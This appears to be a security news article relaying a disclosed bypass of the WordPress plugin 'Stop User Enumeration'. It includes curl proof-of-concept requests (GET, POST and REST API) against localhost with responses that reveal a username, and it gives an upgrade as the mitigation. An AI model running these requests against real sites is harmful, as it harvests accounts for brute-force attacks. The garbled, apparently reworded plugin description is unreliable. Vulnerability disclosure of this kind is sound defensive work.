Tuesday, March 4, 2025
HomeCVE/vulnerabilityWordpress Plugin Stop User Enumeration does not stop user enumeration

WordPress Plugin Stop User Enumeration does not stop user enumeration

Published on

SIEM as a Service

Follow Us on Google News

User Enumeration is the capacity to automatically figure out if a given account is valid on a system.

By enumerating client accounts, you are at danger of locking out accounts after a predefined number of failed attempts.

Stop User Enumeration is a module stops client count dead , and furthermore it will log an event in your System log so you can use fail2ban to blocking the probing IP specifically at your firewall, an intense solution for VPS proprietors to stop beast constrain assaults and additionally DDOS assaults.

WordPress 4.7 introduced a REST API endpoint to list all users.

This plugin attempts to prevent requests with an author value (but fails), and makes no attempt at preventing requests to the REST API.

Proof of concept

There are three approaches to bypass this plugin module’s protections.

GET Request :

$ curl -i -s 'http://localhost/?wp-comments-post&author=1'
HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Dec 2016 15:38:02 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.13
Location: http://localhost/author/tomdxw/?wp-comments-post
Content-Length: 0
Content-Type: text/html; charset=UTF-8

POST request:

$ curl -s http://localhost/?wp-comments-post -d author=1 | grep '<title'
 <title>tomdxw – WP Test</title>

REST API:

$ curl -s http://localhost/wp-json/wp/v2/users
[{“id”:1,”name”:”tomdxw”,”url”:””,”description”:””,”link”:”http:\/\/localhost\/author\/tomdxw\/”,”slug”:”tomdxw”,”avatar_urls”:{“24″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g”,”48″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g”,”96″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g”},”meta”:[],”_links”:{“self”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users\/1″}],”collection”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users”}]}}]

Mitigation’s

Upgrade to version 1.3.5 or later.

Discovered by DXWsecurity

For more Information : https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/

Gurubaran
Gurubaran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Latest articles

Threat Actors Exploiting AES Encryption for Stealthy Payload Protection

Cybersecurity researchers have uncovered a surge in the use of Advanced Encryption Standard (AES)...

33.3 Million Cyber Attacks Targeted Mobile Devices in 2024 as Threats Surge

Kaspersky's latest report on mobile malware evolution in 2024 reveals a significant increase in...

Routers Under Attack as Scanning Attacks on IoT and Networks Surge to Record Highs

In a concerning trend, the frequency of scanning attacks targeting Internet of Things (IoT)...

Google Launches Shielded Email to Keep Your Address Hidden from Apps

Google is rolling out a new privacy-focused feature called Shielded Email, designed to prevent apps...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

Paragon Partition Manager Vulnerabilities Allow Attackers to Escalate Privileges and Trigger DoS Attacks

Security researchers have uncovered five significant vulnerabilities in Paragon Partition Manager's BioNTdrv.sys driver, affecting...

Substack Custom Domain Vulnerability Exposes Thousands to Potential Hijacking

A newly disclosed vulnerability in Substack's custom domain setup could allow malicious actors to...

PoC Released for Windows Hyper-V SYSTEM Privilege Exploit

Security researchers have publicly disclosed a proof-of-concept (PoC) exploit for CVE-2025-21333, a critical elevation-of-privilege vulnerability...